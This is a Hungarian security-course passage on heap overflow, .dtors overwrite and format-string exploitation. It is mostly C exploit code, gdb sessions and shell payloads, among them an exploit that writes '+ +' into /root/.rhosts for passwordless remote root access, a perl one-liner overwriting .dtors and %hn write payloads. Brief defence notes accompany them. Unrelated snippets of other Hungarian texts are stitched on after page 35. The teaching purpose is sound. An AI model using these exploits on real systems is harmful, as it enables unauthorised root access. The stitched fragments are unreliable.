22 6.2. Heap Overflow A Heap felülírásának módja A Heap memóriaterületen a dinamikusan lefoglalt memóriaterületeken tárolt adatok helyezkednek el. Ezen a területen helyezkedik el tehát minden olyan változó, lista, láncolt lista, amik mérete, tartalmaz, jelentése dinamikusan változhat. Nem rendelkezik tehát olyan védelemmel amely a változók tartalmát megvédené egy másik változótól. Lássunk erre egy példát; #include <stdio.h> #include <stdlib.h> Kód #define SIZE 16 int main(int argc, char *argv[]) { char *buffer1; //dinamikusan foglalt terulet -> HEAP char *buffer2; u_long diff; // A ket cim kozotti kulonbseg buffer1 = (char *)malloc(size); buffer2 = (char *)malloc(size); diff = (u_long)buffer2 - (u_long)buffer1; printf("buffer1 cime: %p\nbuffer2 cime: %p\n" "A ketto kozotti kulonbseg: 0x%x\n", buffer1,buffer2,diff); // Toltsuk fel a buffert 'A' karakterrel, es zarjuk le memset(buffer2,'a',size-1); buffer2[size-1] = '\0'; printf("az overflow elott a buffer2: %s\n",buffer2); } // Az overflow memset(buffer1,'b',(u_int)(diff+8)); printf("az overflow utan a buffer2: %s\n",buffer2); return 0; SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 22. oldal, összesen: 40

23 A buffer1 és a buffer2 dinamikusan foglalt 16 bájt hosszú, a Heap memóriaterületen található változók. Tudjuk, hogy a buffer2 területet később foglaltuk le, tehát hátrébb helyezkedik el a memóriában. A program futás közben kiszámolja a két terület közötti különbséget, majd a buffer1 memóriaterületre írva megváltoztatja a buffer2 memóriaterület értékét is. Minta buffer1 cime: 0x buffer2 cime: 0x A ketto kozotti kulonbseg: 0x18 Az overflow elott a buffer2: AAAAAAAAAAAAAAA Az overflow utan a buffer2: BBBBBBBBAAAAAAA Példa program Tételezzünk fel egy olyan helyzetet, hogy egy program két típusú kihasználható hibát tartalmaz; egy stack típusú, valamint egy heap típusú overflow lehetőséget. Ebből a stack overflow kihasználhatatlan, mert a rendszer védve van az ilyen típusú támadással szemben, a stack területen nem futhat kód. Ennek megfelelően nem is tudunk olyan helyzetet teremteni, hogy a programot olyan mértékű hibás működésre bírjuk, amellyel a számunkra közvetlen hozzáférést biztosítson a rendszerhez. Pontosan egy ilyen hibát tartalmaz a példaprogramunk: egy előre meghatározott fájlba beleírja a konzolról kapott karaktersort. #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <errno.h> #include <unistd.h> Kód #define BUFFER 16 int main(int argc, char *argv[]) { static char buf[buffer], *tmpfile; FILE *fp; tmpfile = "/tmp/.tmpfile"; printf("kerek egy stringet:"); gets(buf); if( (fp = fopen(tmpfile,"w")) == NULL) { printf("error opening file %s\n",tmpfile); exit(-1); } fputs(buf,fp); fclose(fp); } return 0; SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 23. oldal, összesen: 40

24 A hiba kihasználása Vizsgáljuk meg a program működését! Látjuk, hogy van egy Stack overflow lehetőség a gets utasításnál, hiszen egy 16 bájt hosszú memóriaterületre bármely méretű adatot be tudunk juttatni. Ellenben az élődefiníciók során meghatároztuk, hogy a Stack overflow nem kivitelezhető. Látjuk, hogy a program a /tmp/.tmpfile nevű fájlba írja az általunk bevitt karaktersort. Látjuk továbbá, hogy mind a fájl nevét, mind az általunk bevitt karaktersort tartalmazó változó ugyanazon memóriaterületen található. Minta (gdb) r AAAAAAAAAA Starting program sample AAAAAAAAAA (gdb) p &buf $1 = (char (*)[16]) 0x80497c0 (gdb) p &tmpfile $2 = (char **) 0x80497d0 (gdb) p (u_long)&tmpfile - (u_long)&buf $3 = 16 Kerek egy stringet:aaaaaaaaaaaaaaaaaaaa (gdb) p tmpfile $4 = 0x <Address 0x out of bounds> A tesztelések során megállapítottuk, hogy 16 bájt hosszúságú karaktersor bevitelével sikeresen felülírtuk a megnyitandó fájl nevét tartalmazó memóriaterületre mutató területet sikeresen felülírtuk. Feltételezzük tehát, hogy egy paraméterként átadott (argv[1]) memóriaterület címére sikeresen át tudjuk írni a megnyitandó fájl nevére mutató memóriaterülete. Nehézséget az okoz csupán, hogy a fájl tartalma az lesz, amivel felülírjuk a megfelelő területeket. Így nagyon körültekintően kell megformáznunk a karaktersorozatokat. Jó ötletnek tűnhet, ha a kiszemelt cél fájl a /root/.rhosts nevű fájl, aminek + + tartalmával számunkra megfelelővé alakítjuk át a rendszer hozzáférési modelljét; bármely távoli gépről jelszó használata nélkül jelentkezhetünk be rendszergazdai jogosultságokkal. Nehezíti a feladatot, hogy a hiba kihasználására a Heap memóriaterületet kell felülírni, amelynek címei változhatnak. Tudjuk, hogy a címek a Stack szegmensen találhatóak, és hogy a Stack szegmens címe mindig az indító program után található. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 24. oldal, összesen: 40

25 Tehát, ha a hibás programot indító (jelen esetben maga az exploit) Stack szegmensének a címét meg tudjuk szerezni, az attól való eltolással (OFFSET) meg tudjuk találni a megfelelő felülírandó területet. Az exploit kódban használt változók; OFFSET - Az eltolási érték (Ennyi bájt szükséges ahhoz, hogy felülírjuk a megfelelő címeket). VULNPROG - A támadott program. VULNFILE - A támadott programban felülírni kívánt fájl neve. STRING - A támadott fájl kívánt tartalma. ADDRLEN - A címek tárolására használt memória mérete (4 bájt). Mainbuf - A közvetlenül elindítható formázott karaktersorozat. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 25. oldal, összesen: 40

26 #include <stdio.h> #include <stdlib.h> #include <unistd.h> Kód #define STRING "+ +\t # " #define VULNFILE "/root/.rhosts" #define OFFSET 16 #define ADDRLEN 4 #define VULNPROG "./heap_vuln" u_long getesp() { asm ("mov %esp,%eax"); // return ESP } int main(int argc, char *argv[]) { u_long addr; char buffer[offset+addrlen+1]; int i; char *mainbuf; if(argc!= 2) { printf("usage: %s <OFFSET>\n",argv[0]); exit(-1); } addr = getesp() + atoi(argv[1]); printf("using Address %p\n",addr); memset(buffer,'a',offset+addrlen); memcpy(buffer,string,strlen(string)); *(long *)&buffer[offset] = addr; buffer[offset+addrlen] = '\0'; mainbuf = (char *)malloc( strlen(buffer) + strlen(vulnprog) + strlen(vulnfile) + 13); } sprintf(mainbuf,"echo '%s' %s %s",buffer,vulnprog,vulnfile); system(mainbuf); free(mainbuf); return 0; Mivel a támadott program nem tartalmaz olyan sikeres támadás esetén megjelenítendő karaktersort, amellyel automatizálni lehetne a helyes OFFSET érték kitalálását, nekünk kell ezt megtenni manuálisan. $./exploit 460 Using Address 0xbffffc58 Kerek egy stringet: Error opening file ot/.rhosts $./heap_expl 457 Kerek egy stringet: $ cat /root/.rhosts + + # AAAAAAAAA $ Minta SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 26. oldal, összesen: 40

27 Védekezés Természetesen a Heap típusú overflow ellen is dolgoztak ki védelmez, amelyet a HeapGuard nevű termék használatával aktiválhatunk. Ez az eljárás sem vezet ugyanakkor teljes védelemhez a hibatípus ellen. Érdekes módszer, hogy megnehezítjük a támadó dolgát. Ezt úgy érhetjük el, hogy egy véletlen nagyságú memóriaterületet minden esetben lefoglalunk a program indulásakor így majdnem lehetetlenné téve a helyes OFFSET érték kitalálását. A biztos védekezést egyedül a nem kontrollált méretű memóriamozgató utasítások elkerülése, úgy mint strcpy, strcat, sprintf, stb 6.3..dtors Overflow Amint azt a fentiekben láthattuk, minden ELF típusú program rendelkezik több szekcióval, amiknek meghatározott feladatai vannak. A tervezés során a fejlesztők megalkottak két olyan területet, amelyek biztosítják, hogy az operációs rendszer rendesen felépíti a futtató környezetet, és le tudja kezelni a visszatérési értékeket, és így egy hibás program működés nem okozhatja az egész rendszer halálát. Ez a két szekció a.ctors és a.dtors memóriaterület. A két memóriaterület minden esetben lefut, az első a konstruktor, míg a második a destruktor szerepét tölti be A.dtors felülírása A hibák kihasználása nem egyszerű feladat. A memóriaterület működésére a következő példaprogram álljon itt szemléltetésül; #include <stdio.h> #include <stdlib.h> Kód static void start(void) attribute ((constructor)); static void stop(void) attribute ((destructor)); int main(int argc, char *argv[]) { printf("start == %p\n", start); printf("stop == %p\n", stop); } exit(exit_success); void start(void) { printf("hello world!\n"); } void stop(void){ printf("goodbye world!\n"); } SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 27. oldal, összesen: 40

28 A program statikusan definiál két eljárást a konstruktort és a destruktort majd a fő programciklusban kiírja a két függvény memóriacímét. Látni fogjuk, hogy a start() függvény a program elején, míg a stop() függvény a program végén le fog futni: hello world! start == 0x stop == 0x80484a0 goodbye world! Minta Ha most a lefordított linkelt programunk fejlécében az objdump program segítségével megnézzük, hogy a.ctors és.dtors területeknek mi a címe, látni fogjuk, hogy azok megegyeznek a program által kiírtakkal: $ objdump -s -j.dtors teszt teszt: file format elf32-i386 Minta Contents of section.dtors: ffffffff a Megállapíthatjuk tehát, hogy mind a.dtors, mind a.ctors területek felülírhatóak. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 28. oldal, összesen: 40

29 Példa program A hiba alapja egy egyszerű Stack Overflow is lehet. Feltételezve olyan esetet, amikor a futó programba ugyan lehetséges bejuttatni egy kód szekvenciát (Shell kódot) de annak a klasszikus Stack Overflow technológiával képtelenség átadni a vezérlést. Ilyen eset lehet akkor, amikor a binárist FPC használat nélkül fordították, és a függvények visszatérési címe nem hozzáférhető, ellenben a program kilépésre kényszeríthető. #include <stdio.h> #include <stdlib.h> #include <sys/types.h> Kód static void sample(void); int main(int argc, char *argv[]) { static u_char buf[] = "12345"; } if (argc < 2) exit(exit_failure); strcpy(buf, argv[1]); exit(exit_success); void sample(void){ printf("got the.dtors!\n"); } A fenti program működése egyszerű. Egy statikusan definiált buf változóba másolja kontroll nélkül az első parancssori paramétert, majd kilép. Érdekesség, hogy a kód tartalmaz egy sample() függvényt, amely soha nem hívódik meg A hiba kihasználása Vizsgáljuk meg a program működését kicsit jobban. Jelen esetben a feladatunk annyi, hogy a programot illegális működésre bírjuk. Ezt úgy fogjuk elérni, hogy meghívatjuk vele a sample() függvényt, amely alap esetben soha nem futna le. Ehhez tudnunk kell, hogy hol helyezkedik el a.dtors szekció, mi a hívni kívánt függvény címe, és hogyan tudjuk beinjektálni a megfelelő paramétereket a futó kódba. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 29. oldal, összesen: 40

30 Minta $ objdump --syms sample egrep 'text.*sample' e8 l F.text sample $ gdb sample (gdb) b main Breakpoint 1 at 0x80484a6 (gdb) r aaaaaaaaaa Starting program: sample aaaaaaaaaa Breakpoint 1, main (argc=2, argv=0xbffff8a4) at sample.c:10 (gdb) x argv[1] 0xbffffa22: 0x (gdb) x buf 0x <force_to_data>: 0x (gdb) maintenance info sections [ ] 0x >0x at 0x :.data ALLOC LOAD DATA 0x >0x080495e8 at 0x :.eh_frame ALLOC LOAD DATA 0x080495e8->0x080496b0 at 0x000005e8:.dynamic ALLOC LOAD DATA 0x080496b0->0x080496b8 at 0x000006b0:.ctors ALLOC LOAD DATA 0x080496b8->0x080496c0 at 0x000006b8:.dtors ALLOC LOAD DATA 0x080496c0->0x080496e8 at 0x000006c0:.got ALLOC LOAD DATA [ ] A fentiek alapján könnyen beláthatjuk, hogy létezik akkora számú karaktersorozat, amely a.dtors szekciót felülírhatja. Jelen esetben tudjuk, hogy a kezdő memória cím 0x amelyből nekünk a 0x80496b8 címig kell túlfuttatnunk az írást. A két hexadecimális szám között 320 a különbség. Tudjuk, hogy a.dtors szekció felépítése áll egy 4 byte-os 0xffffffff fejlécből, és egy 0x láblécből tehát, hogy 328 karakter beillesztésével felülírjuk a.dtors szekció fejlécét és első címét, amelynek utolsó négy karakterére beillesztve a kívánt címet az azon a címen található eljárás le fog futni. Feltételezzük, hogy a program hibával fog leállni, hiszen a szekciót lezáró 0x szekvenciát nem tudjuk beilleszteni, tehát a rendszer végig fogja hívni az összes címen található kódrészletet egészen addig, amíg az hibát nem generál, vagy a szekció végére nem ért. Minta $./sample `perl -e 'print "A"x324; print "\xe8\x84\x04\x08";'`; Got the.dtors! Segmentation fault (core dumped) $ SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 30. oldal, összesen: 40

31 Amint látjuk, sikeresen felülírtuk a.dtors szekciót. Vizsgáljuk meg ezt közelebbről; Minta $ gdb sample core Program terminated with signal 11, Segmentation fault. #0 0x4000a90b in?? () (gdb) maintenance info sections [ ] 0x >0x at 0x :.data ALLOC LOAD DATA 0x >0x080495e8 at 0x :.eh_frame ALLOC LOAD DATA 0x080495e8->0x080496b0 at 0x000005e8:.dynamic ALLOC LOAD DATA 0x080496b0->0x080496b8 at 0x000006b0:.ctors ALLOC LOAD DATA 0x080496b8->0x080496c0 at 0x000006b8:.dtors ALLOC LOAD DATA 0x080496c0->0x080496e8 at 0x000006c0:.got ALLOC LOAD DATA [ ] (gdb) x/x 0x080496b0 0x80496b0 < CTOR_LIST >:0x (gdb) x/4x 0x080496b8 0x80496b8 < DTOR_LIST >:0x x080484e8 0x x400153d8 Megállapíthatjuk tehát, hogy a demonstráció sikeres volt. Láthatjuk, hogy a shell kódok beinjektálásának több módja is létezik, csak a megfelelő eseményt kell tudni kiválasztani Védekezés A hiba ellen kidolgozott védekezési eljárás nem létezik, ugyanakkor mivel a támadás minden esetben egy másik típusú overflow hibára alapul, eredményeket érhetünk el az azok elleni védekezéssel. Nem jelent biztonságot ugyanakkor ez a módszer, hiszen mint láttuk nem feltétlenül szükséges más védekezési módok által felfedezhető kivételt generálni. A biztos védekezést egyedül a nem kontrollált méretű memóriamozgató utasítások elkerülése, úgy mint strcpy, strcat, sprintf, stb SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 31. oldal, összesen: 40

32 6.4. Format String overflow Példa program A format string alapú overflow hibák kihasználása nem tekint vissza nagy múltra, mivel a hibát csak nemrégen fedezték fel. Éppen ezért jelenthet hatalmas veszélyt a programozók abban a tudatban éltek, hogy az általuk követett módszer betartja a biztonságos programozás követelményeit. A következő program nem is tartalmaz olyan hibát, amit az előzőekben taglaltunk volna. Rendesen méretkorláttal van kezelve a memóriamásolás, meggátolva a támadót abban, hogy Stack overflow-t kövessen el. Ugyanakkor egy formázott kiíratás során kontrollálható karaktersorozatot írat ki a képernyőre. #include <stdio.h> Kód int main(int argc, char **argv) { char buf[100]; if(argc!= 2) { printf("usage:\n%s <param>\n",argv[0]); return -1; } stnrcpy(buf,argv[1],100); printf("got: "); printf(buf); printf("\n"); } return 0; A hiba kihasználása Ha megvizsgáljuk a programot futás közben, akkor megállapíthatjuk, hogy az eddig megismert módszerekkel nem tudjuk hibás működésre bírni. Csak annyit tudunk kideríteni, hogy mi a buf nevű változó memóriacíme, és hogy ezt a változót kontrollálni tudjuk. Ide tudnánk tehát egy shell kódot helyezni. Megvizsgálhatjuk, hogy merre található a Stack területen az a cím, ahová a program kilépéskor vissza fog térni, de jelen pillanatban ezt nem tudjuk felülírni. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 32. oldal, összesen: 40

33 Minta (gdb) x buf 0xbffff658: 0x (gdb) info registers ebp ebp 0xbffff6bc 0xbffff6bc (gdb) x/4x 0xbffff6bc 0xbffff6bc: 0xbffff6f8 0x f 0x xbffff724 (gdb) x 0x f 0x f < libc_start_main+187>: 0xf9b7e850 A vizsgált program ugyanakkor formázó string nélkül írja ki a kapott adatot, és az ilyen kiíratás egy olyan lehetőséget tár fel a támadónak, amelynek segítségével egy adott memóriacímet tetszőleges értékkel tölthet fel. Könnyen belátható, hogy a már megismert.dtors, vagy akár a Stack-en elhelyezkedő visszatérési érték felülírásával hibás működésre kényszeríthető a program. Nézzük meg ezt a lehetőséget közelebbről; Tudjuk, hogy a formázott kiírások a következőképpen néznek ki a memóriában: printf( Ez egy szám: %d és ez a címe: %08x\n,i,&i); Stack teteje <&i> <i> fmt Stack alja Tudjuk, hogy a formátum feldolgozása úgy történik, hogy az eljárás byte-onként ellenőrzi a formátumot, és amennyiben az nem % jel, egyszerűen kiírja a megfelelő helyre. Ha találkozik a % jellel, akkor azt a formázó karaktert megpróbálja feldolgozni. 13 Minden más esetben a formátum feldolgozó a Stacken lévő mutatóhoz fog nyúlni. Azt már láthatjuk, hogy sok érdekességet megtudhatunk így a futó program környezetéről; A Stack memóriaterületet mindenképpen, sőt, bármely területet a memóriában! Tudjuk, hogy a formátum, ami feldolgozódik, a Stack alján foglal helyet, és minden kiírásnál egy byte-ot közeledünk a stack tetejéhez. Tehát ezt 13 Speciális eset a %% formátum, ami szintén feldolgozásra kerül, de jelentése a kimeneten egy sima % jel lesz, és a feldolgozó nem nyúl a paraméterlistához. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 33. oldal, összesen: 40

34 a pointert a kívánt címre kell állítani valahogyan. Növeljük tehát a mutatót értelmetlen kiírásokkal, mint például a %08x. A vizsgált program kiírja, hogy mit kapott paraméternek egy Got üzenet kíséretében. Ez az üzenet a memóriában van, jelen esetben a 0x címen; Minta $./sample %08x.%08x.%08x.%08x Got: bffff8bc $./sample `perl -e 'print "\x67\x85\x04\x08_%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x %s "'` Got: g_bffff89f d f71d f c Got: Joggal merül fel a kérdés; Ha olvasni tudjuk a memóriát, vajon tudjuk írni is bármely területét? Nézzük meg! Az írás lehetőségéhez meg kell értenünk pár dolgot; a formázott kiíratás során láttuk, hogy a formázó karaktersor a Stack alján helyezkedik el, és a Stack teteje felé vannak a formátumok feldolgozásához szükséges változók. A feldolgozás során a formátumoknak megfelelően visszanyúl a feldolgozó folyamat a megfelelő értékekért, hogy azokat behelyettesítse a megfelelő helyre. Fontos, hogy megértsük a %n formázó karakter működését. Ezzel a formázó utasítással megvizsgálhatjuk, hogy adott ponton hány byte mennyiségű információt írtunk ki. Ezt az információt a paraméterben megadott címre fogja a folyamat visszaírni. #include <stdio.h> Kód int main(int argc, char *argv[]) { int len = 0; printf("ez 9 byte%hn\n",&len); printf("azaz: %d byte\n",len); } return 0; A program futtatása során láthatjuk, hogy a %n formázókarakter tökéletesen működött: $./teszt Ez 9 byte Azaz: 9 byte $ Minta SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 34. oldal, összesen: 40

35 A teljes megértéshez szükség van még egy információra; a %hn formázó karakter 16 bites címtartománnyal dolgozik, maximális értéke 65536, tehát túlcsordulhat. Ezen információk birtokában neki is állhatunk kidolgozni a megfelelő formátumot; tudnunk kell, hogy hány bájtot kell a Stack területen tolnunk a megfelelő cím eléréséhez, valamint a megfelelő beillesztendő érték kiszámolásához ismernünk kell az addig kiírt bájtok számát. Az egyszerűség kedvéért a beillesztendő érték legyen négy darab A betű, amelynek hexadecimális kódja 0x , valamint írjuk felül a vizsgált programban az eltárolt visszatérési címet, amely a 0xbffff6c0 címen található. Mivel a címekre beírandó értéket is fel kell dolgoztatni a formátum feldolgozása során, meg kell adnunk egy-egy 4 bájtos változót. Ennek az értéke jelentéktelen, mi a CCCC (0x ) karaktersort fogjuk használni az egyszerűbb megkülönböztethetőség okán. Keressük meg, hogy mennyit kell csúsztatnunk a Stack mutatón, hogy pontosan meglegyenek a kívánt címek: Minta $./sample `perl -e 'print "CCCC\xc0\xf6\xff\xbfCCCC\xc2\xf6\xff\xbf\ %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x";'` Got: CCCCŔö żccccâö żbffff b400153d e404d6dad abffff bc bffff6c bffff6c2 $ A tesztelés során láttuk, hogy 14 darab %08x formázó utasítás segítségével megvan minden szükséges cím. Ebből négy jelenti a beillesztendő értéket, és a beillesztő %hn formázó utasítást. Mivel egy %08x utasítás 4 bájtot csúsztat a Stack-en, tudjuk, hogy 40 byte az OFFSET értéke. Látjuk, hogy 16 byte a feltöltő karaktersorozat a megadott címekkel együtt, valamint hogy a 10 %08x utasítás 40 bájtot foglal, tehát amikor eljutunk a kívánt formázó utasításokig, már 96 byte ( ) már kiírásra került. A beillesztendő érték felső 16 bitje 0x4141. Ez a szám decimálisan 16705, amelyből a 96-ot levonva et kapunk. Ennyi bájtot kell tehát kiírnunk felhasználva a CCCC értékét ahhoz, hogy az első %hn formázó utasítás a megadott 2 bájtos címre a kívánt 0x4141 értéket írja. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 35. oldal, összesen: 40

Jelszavak helyes megválasztása, szótáras törés. Pánczél Zoltán

Jelszavak helyes megválasztása, szótáras törés. Pánczél Zoltán Jelszavak helyes megválasztása, szótáras törés Pánczél Zoltán 1 Miért fontos a megfelelő jelszó? Nagyban növeli a rendszer biztonságát. Könnyű jelszó = Nincs jelszó A teljes rendszer biztonsága tőlünk

Részletesebben

A hibát az alábbi Python program segítségével tudjuk előidézni:

A hibát az alábbi Python program segítségével tudjuk előidézni: Bevezető Az ismertetésre kerülő biztonsági hiba 0day kategóriába tartozik, ezért sem a termék, sem a teljes hiba kihasználását lehetővé tevő kód bemutatása nem történik meg. A leírás célja az alkalmazott

Részletesebben

Programozás alapjai. 10. előadás

Programozás alapjai. 10. előadás 10. előadás Wagner György Általános Informatikai Tanszék Pointerek, dinamikus memóriakezelés A PC-s Pascal (is) az IBM PC memóriáját 4 fő részre osztja: kódszegmens adatszegmens stackszegmens heap Alapja:

Részletesebben

Mutatók és mutató-aritmetika C-ben március 19.

Mutatók és mutató-aritmetika C-ben március 19. Mutatók és mutató-aritmetika C-ben 2018 március 19 Memória a Neumann-architektúrában Neumann-architektúra: a memória egységes a címzéshez a természetes számokat használjuk Ugyanabban a memóriában van:

Részletesebben

Programozás C++ -ban 2007/7

Programozás C++ -ban 2007/7 Programozás C++ -ban 2007/7 1. Másoló konstruktor Az egyik legnehezebben érthető fogalom C++ -ban a másoló konstruktor, vagy angolul "copy-constructor". Ez a konstruktor fontos szerepet játszik az argumentum

Részletesebben

A 32 bites x86-os architektúra regiszterei

A 32 bites x86-os architektúra regiszterei Memória címzési módok Jelen nayagrészben az Intel x86-os architektúrára alapuló 32 bites processzorok programozását tekintjük. Egy program futása során (legyen szó a program vezérléséről vagy adatkezelésről)

Részletesebben

Adatelérés és memóriakezelés

Adatelérés és memóriakezelés Adatelérés és memóriakezelés Jelen nayagrészben az Intel x86-os architektúrára alapuló 32 bites processzorok programozását tekintjük. Egy program futása során (legyen szó a program vezérléséről vagy adatkezelésről)

Részletesebben

Miről lesz ma szó? A PROGAMOZÁS ALAPJAI 1. Dinamikus változók. Dinamikus változók. Dinamikus változók. Dinamikus változók. 7.

Miről lesz ma szó? A PROGAMOZÁS ALAPJAI 1. Dinamikus változók. Dinamikus változók. Dinamikus változók. Dinamikus változók. 7. Miről lesz ma szó? A PROGAMOZÁS ALAPJAI 1 Vitéz András egyetemi adjunktus BME Híradástechnikai Tanszék vitez@hit.bme.hu Dinamikus memóriakezelés Dinamikus tömbök Dinamikus stringek Program kapcsolata a

Részletesebben

Programozás I. gyakorlat

Programozás I. gyakorlat Programozás I. gyakorlat 1. gyakorlat Alapok Eszközök Szövegszerkesztő: Szintaktikai kiemelés Egyszerre több fájl szerkesztése pl.: gedit, mcedit, joe, vi, Notepad++ stb. Fordító: Szöveges file-ban tárolt

Részletesebben

Járműfedélzeti rendszerek II. 3. előadás Dr. Bécsi Tamás

Járműfedélzeti rendszerek II. 3. előadás Dr. Bécsi Tamás Járműfedélzeti rendszerek II. 3. előadás Dr. Bécsi Tamás 5.3. Mutatók,tömbök A mutató vagy pointer olyan változó, amely egy másik változó címét tartalmazza. A C nyelvű programokban gyakran használják a

Részletesebben

Szövegek C++ -ban, a string osztály

Szövegek C++ -ban, a string osztály Szövegek C++ -ban, a string osztály A string osztály a Szabványos C++ könyvtár (Standard Template Library) része és bár az objektum-orientált programozásról, az osztályokról, csak később esik szó, a string

Részletesebben

Assembly. Iványi Péter

Assembly. Iványi Péter Assembly Iványi Péter További Op. rsz. funkcionalitások PSP címének lekérdezése mov ah, 62h int 21h Eredmény: BX = PSP szegmens címe További Op. rsz. funkcionalitások Paraméterek kimásolása mov di, parameter

Részletesebben

1.1. A forrásprogramok felépítése Nevek és kulcsszavak Alapvető típusok. C programozás 3

1.1. A forrásprogramok felépítése Nevek és kulcsszavak Alapvető típusok. C programozás 3 Darvay Zsolt Típusok és nevek a forráskódban Állandók és változók Hatókörök és az előfeldolgozó Bevitel és kivitel Kifejezések Utasítások Mutatók Függvények Struktúrák és típusok Állománykezelés C programozás

Részletesebben

A számok kiírása is alapvetően karakterek kiírásán alapul, azonban figyelembe kell venni, hogy a számjegyeket, mint karaktereket kell kiírni.

A számok kiírása is alapvetően karakterek kiírásán alapul, azonban figyelembe kell venni, hogy a számjegyeket, mint karaktereket kell kiírni. Példák számok kiírására A számok kiírása is alapvetően karakterek kiírásán alapul, azonban figyelembe kell venni, hogy a számjegyeket, mint karaktereket kell kiírni. Decimális számok kiírása Az alábbi

Részletesebben

Digitális rendszerek. Utasításarchitektúra szintje

Digitális rendszerek. Utasításarchitektúra szintje Digitális rendszerek Utasításarchitektúra szintje Utasításarchitektúra Jellemzők Mikroarchitektúra és az operációs rendszer közötti réteg Eredetileg ez jelent meg először Sokszor az assembly nyelvvel keverik

Részletesebben

találhatók. A memória-szervezési modell mondja meg azt, hogy miként

találhatók. A memória-szervezési modell mondja meg azt, hogy miként Memória címzési módok Egy program futása során (legyen szó a program vezérléséről vagy adatkezelésről) a program utasításai illetve egy utasítás argumentumai a memóriában találhatók. A memória-szervezési

Részletesebben

Dr. Schuster György október 14.

Dr. Schuster György október 14. Real-time operációs rendszerek RTOS 2011. október 14. A fordítás vázlata prog.c Előfeldolgozó Átmenti állomány Fordító prog.obj más.obj-tek könyvtárak indító kód Linker futtatható kód Ismétlés Előfeldolgozó

Részletesebben

Mi az assembly? Gyakorlatias assembly bevezető. Sokféle assembly van... Mit fogunk mi használni? A NASM fordítóprogramja. Assembly programok fordítása

Mi az assembly? Gyakorlatias assembly bevezető. Sokféle assembly van... Mit fogunk mi használni? A NASM fordítóprogramja. Assembly programok fordítása Mi az assembly Gyakorlatias assembly bevezető Fordítóprogramok előadás (A, C, T szakirány) programozási nyelvek egy csoportja gépközeli: az adott processzor utasításai használhatóak általában nincsenek

Részletesebben

Programzás I. - 1. gyakorlat

Programzás I. - 1. gyakorlat Programzás I. - 1. gyakorlat Alapok Tar Péter 1 Pannon Egyetem Műszaki Informatikai Kar Számítástudomány Alkalmazása Tanszék Utolsó frissítés: September 15, 2007 1 tar@dcs.vein.hu Tar Péter (PE-MIK-DCS)

Részletesebben

C memóriakezelés. Mutató típusú változót egy típus és a változó neve elé írt csillag karakterrel hozhatjuk létre.

C memóriakezelés. Mutató típusú változót egy típus és a változó neve elé írt csillag karakterrel hozhatjuk létre. C memóriakezelés Ez a kis segédanyag az adatszerkezetek órán használt eszközök megértését hivatott elősegíteni. A teljesség igénye nélkül kerül bemutatásra a mutató típus és a dinamikus memóriakezelés.

Részletesebben

Programozás 6. Dr. Iványi Péter

Programozás 6. Dr. Iványi Péter Programozás 6. Dr. Iványi Péter 1 Előfeldolgozás része Makrók A forrás kódban elvégzi a helyettesítéseket a fordító Csak egyszer végez helyettesítést Nem olyan makrók, mint a LISP vagy Scheme esetén Csak

Részletesebben

Stack Vezérlés szerkezet Adat 2.

Stack Vezérlés szerkezet Adat 2. Stack Vezérlés szerkezet Adat 2. Kód visszafejtés. Izsó Tamás 2013. november 14. Izsó Tamás Stack Vezérlés szerkezet Adat 2./ 1 Változó típusú paraméterekátadása 1. #include < s t d i o. h> int64 myfunc

Részletesebben

11. fejezet - Tartalom

11. fejezet - Tartalom 11. fejezet - Tartalom 11.1 Az operációs rendszer memóriakezelése 11.1.1 Szöveg 11.1.2 Adatok 11.1.3 A stack (magyarul: halom/rakás) 11.2 A Buffer-Overflow-támadások 11.2.1 Hogyan lehet ezt kihasználni?

Részletesebben

1. Alapok. Programozás II

1. Alapok. Programozás II 1. Alapok Programozás II Elérhetőség Név: Smidla József Elérhetőség: smidla dcs.uni-pannon.hu Szoba: I916 2 Irodalom Bjarne Stroustrup: A C++ programozási nyelv 3 Irodalom Erich Gamma, Richard Helm, Ralph

Részletesebben

Programozás alapjai gyakorlat. 2. gyakorlat C alapok

Programozás alapjai gyakorlat. 2. gyakorlat C alapok Programozás alapjai gyakorlat 2. gyakorlat C alapok 2016-2017 Bordé Sándor 2 Forráskód, fordító, futtatható állomány Először megírjuk a programunk kódját (forráskód) Egyszerű szövegszerkesztőben vagy fejlesztőkörnyezettel

Részletesebben

Operációs rendszerek III.

Operációs rendszerek III. A WINDOWS NT memóriakezelése Az NT memóriakezelése Memóriakezelő feladatai: Logikai-fizikai címtranszformáció: A folyamatok virtuális címterének címeit megfelelteti fizikai címeknek. A virtuális memóriakezelés

Részletesebben

C programozási nyelv Pointerek, tömbök, pointer aritmetika

C programozási nyelv Pointerek, tömbök, pointer aritmetika C programozási nyelv Pointerek, tömbök, pointer aritmetika Dr. Schuster György 2011. június 16. C programozási nyelv Pointerek, tömbök, pointer aritmetika 2011. június 16. 1 / 15 Pointerek (mutatók) Pointerek

Részletesebben

Írásjogtól Rootig AIX-on

Írásjogtól Rootig AIX-on Írásjogtól rootig AIX-on Tanulmány Silent Signal Kft. Email: info@silentsignal.hu Web: www.silentsignal.hu. Írásjogtól rootig AIX-on 1. Bevezető A Silent Signal Kft. szakértői egy etikus hackelési projekt

Részletesebben

A C programozási nyelv V. Struktúra Dinamikus memóriakezelés

A C programozási nyelv V. Struktúra Dinamikus memóriakezelés A C programozási nyelv V. Struktúra Dinamikus memóriakezelés Miskolci Egyetem Általános Informatikai Tanszék A C programozási nyelv V. (Struktúra, memóriakezelés) CBEV5 / 1 A struktúra deklarációja 1.

Részletesebben

Szkriptnyelvek. 1. UNIX shell

